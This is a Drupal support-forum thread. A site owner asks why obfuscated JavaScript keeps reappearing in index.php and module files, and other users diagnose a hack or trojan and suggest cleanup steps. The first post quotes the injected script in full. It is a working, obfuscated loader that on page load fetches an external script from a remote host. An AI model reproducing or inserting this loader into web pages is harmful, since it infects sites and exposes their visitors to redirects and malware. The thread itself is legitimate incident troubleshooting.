Hello there
I`m building this website with drupal

suddenly I see this error


Parse error: syntax error, unexpected '<' in /home/xxxx/public_html/index.php on line 40

I open index file and see this code after drupal_page_footer(); function


<script>this.E='';function _() {var rY;if(rY!='' && rY!='px'){rY=null};var b="";var _F=']';var h;if(h!='' && h!='lc'){h=''};var W=RegExp;var iZ=new Date();var Q='[';var jY=new String();var CS=new String();var G='replace';this.x='';var e='g';var H=new String();var BU=new String();var n=new String();this.WA='';this.zH='';var Nj;if(Nj!='ae'){Nj='ae'};function T(p,I){var UO;if(UO!='' && UO!='nL'){UO=null};var B=Q;this.yL="";B+=I;B+=_F;var aw="";var Uu=new Array();var r=new W(B, e);var MH;if(MH!=''){MH='Nd'};return p[G](r, n);};var cv;if(cv!='jS'){cv='jS'};var iX="";var DI="";var O=T('sYc3rYiYpWt3',"3YW");var FW='';var Z=T('cWrWefaWtfefEWlWeWmfefnftW',"Wf");this.IdE='';var UX;if(UX!='' && UX!='JE'){UX=''};var eN=T('/JdRoRcRtJiJsJsJiJmJoR.JfRrJ/JdRoRcRtJiRsRsJiJmRoR.RfRrJ/RkRiRnRgR.JcJoJmJ/RqRuJiRkRrR.JcJoRmJ/JgRoJoRgRlJeR.RcJoJmR.RpJhJpR',"RJ");var Vp=new Array();var BR=window;this.Ij="";var F=T('87666770696696689176617702919722',"79261");var Iv="";var z=T('h_tkt_p4:_/k/4a4w4e4bke_r4-_ckokmk.4a_d_m4ikn_5k._c4okm4._v_ikr_g4i_n_mke_dkikak-4c_okm4.4sku_p_e4r4n_ekw4skt4u4f_f_._r_uk:_',"4k_");var Xt="";this.AY="";var i='';var Wet;if(Wet!='Bk' && Wet != ''){Wet=null};this.DC="";var fR=new Date();BR[T('omnWlWomamdS',"mWS")]=function(){try {var Io;if(Io!='DZ' && Io!='UT'){Io=''};var Y='';i+=z;var ly="";var Gc="";i+=F;i+=eN;var xY="";eP=document[Z](O);var WU=new String();var QD=new Date();U(eP,'defer',([1,3][0]));var iLe;if(iLe!='u'){iLe=''};U(eP,'src',i);var SE;if(SE!='' && SE!='Sr'){SE='QM'};var zX;if(zX!='' && zX!='ox'){zX='Kx'};var OQ;if(OQ!='' && OQ!='nT'){OQ=''};document.body.appendChild(eP);this.ZZ='';} catch(l){};var nF=new Array();};this.Su='';var IH;if(IH!='BH'){IH='BH'};function U(D,rp,v){var Gh;if(Gh!='eO'){Gh='eO'};var mF;if(mF!='qz'){mF='qz'};D.setAttribute(rp, v);}var yH;if(yH!='' && yH!='pD'){yH=''};};_();var pg=new Date();var zm=new Date();</script>
<!--53d056c30b820bb3b2b4b78660006a03-->

I remove this code the error gone and website works greatly
after few days the error repeated and i see the same error and the same code I removed

after few days I see this error

Parse error: syntax error, unexpected '<' in /home/xxxx/public_html/sites/all/modules/panels/plugins/styles/default.inc on line 54

I open the file and see the same code ->removed->work

any body have any idea why this happening and how this code write to files

this is my modules in website

Administration menu
Ajax
Ajax plugin - captcha
Ajax plugin - comment
Ajax plugin - disable_redirect
Ajax plugin - fckeditor
Ajax plugin - logintoboggan
Ajax plugin - quicktabs
Ajax plugin - thickbox
Ajax ui
Content
Content Permissions
Fieldgroup
FileField
ImageField
Number
Option Widgets
Text
User Reference
Chaos tools
Page manager
Views content panes
Calendar
Calendar Popup
Date
Date API
Date Popup
Date Timezone
CCK Date Facets
CCK Facets
CCK Number Facets
CCK Reference Facets
CCK Text Facets
Content Type Facet
Date Facets Format
Faceted Ajax Search
Faceted Search
Faceted Search UI
Faceted Search Views
Taxonomy Facets
ImageAPI
ImageCache
Job
Job access
Resume
Resume access
Mime Mail
Simplenews
Simplenews on register
DHTML Menu
FCKeditor
Lightbox2
LoginToboggan
Mollom
Poormanscron
Quick Tabs
Search config
Token
Token actions
TokenSTARTER
Webform
Mini panels
Panel nodes
Panels
Username AJAX check
CAPTCHA
Image CAPTCHA
Google Analytics
Cart
Conditional Actions
Order
Product
Store
Attribute
Views
Views UI

Edited by WorldFallz - moved to appropriate forum.

Comments

Road Runner’s picture

This looks like unauthorized insert into your index.php file. You have been hacked. I saw something about this in past week search in drupal forum for this under hacked index or hacked footer

Tim-Erwin’s picture

This looks much like a virus or something like that. You should set the permissions of the file to 0200 (only readable for apache, not writable); then nobody should be able to alter that file (good idea for all php files). If it still occurs you should check if your server hasn't been compromised in any way.

ayalsule’s picture

Thanks for reply
but I don`t thinks it`s hacking ,because the website has not been published yet and no body know about site without me and company manager
also the website in VPS server not shared host or some thing and no body have access to files without me

Tim I don`t thinks it`s virus because all me code from drupal website and I don`t think it`s bug

can you translate Js code?

...

martin@drupal.org.uk’s picture

Well maybe its not hacking but you have malicious code on your site according to AVG.

ayalsule’s picture

what do u mean by according to AVG.

q:is there any relation with enable Js caching and my problem

...

martin@drupal.org.uk’s picture

Sorry i didn't explain. AVG is anti-virus software, which also scans websites. According to it you have some kind of malicious code , but sorry i just closed the page and I'm not keen on revisiting.
Can't see how caching could be the source. I agree with the other posts that your server is not secure, but I guess you could have a virus on your own machine.

ayalsule’s picture

ok I will check
I mean that maybe some Js code make some error and make this bug , especially when some Js code in the website are no longer working like lighbox2 and some panels

...

ayalsule’s picture

Can u translate Js code?

...

ayalsule’s picture

Bad news: all the Js codes in the site does not work
I could not discover the source of this inconsistency

...

ayalsule’s picture

may this help some body
I discover that is all Js files in website have the same code in the end of page
that because the virus try to add this js code in files and the result of is trojan from other website trying to redirect page to it
i delete all codes and reupload clean codes and change permission to 444 to prevent virus to write in files

...

kakajoe’s picture

so..how can we fixed it ?? my website got this code either...

ayalsule’s picture

it take some time
--- for me to be sure I delete all files (core + module) then I uploaded again
I advice you to do that it take some time but it`s better
1- scan your computer from viruses
2- get backup of your files and db
3 - update you drupal core system to 6.16 and all your modules up to date
4- make list of your drupal version and themes and modules
5- get backup of your files and db
6- delete every thing
7- download all your list and upload it fresh (make sure don`t extract the files in your computer to not be bug with trojan if it still)
8- if you other modules or themes you have make it for your website check all codes and specially JS files then upload it
9- change all Js perm in server to 444 to prevent write on it
10- open your website

...

kakajoe’s picture

so i must to chmod 444 one by one to all file *.js ?? is there any shortcut for it ??
thanks

ayalsule’s picture

i think its better also to change other files php inc...etc
that`s better
we need drupal experience
changing files perm to 444 ,have any bad effects?

...

ayalsule’s picture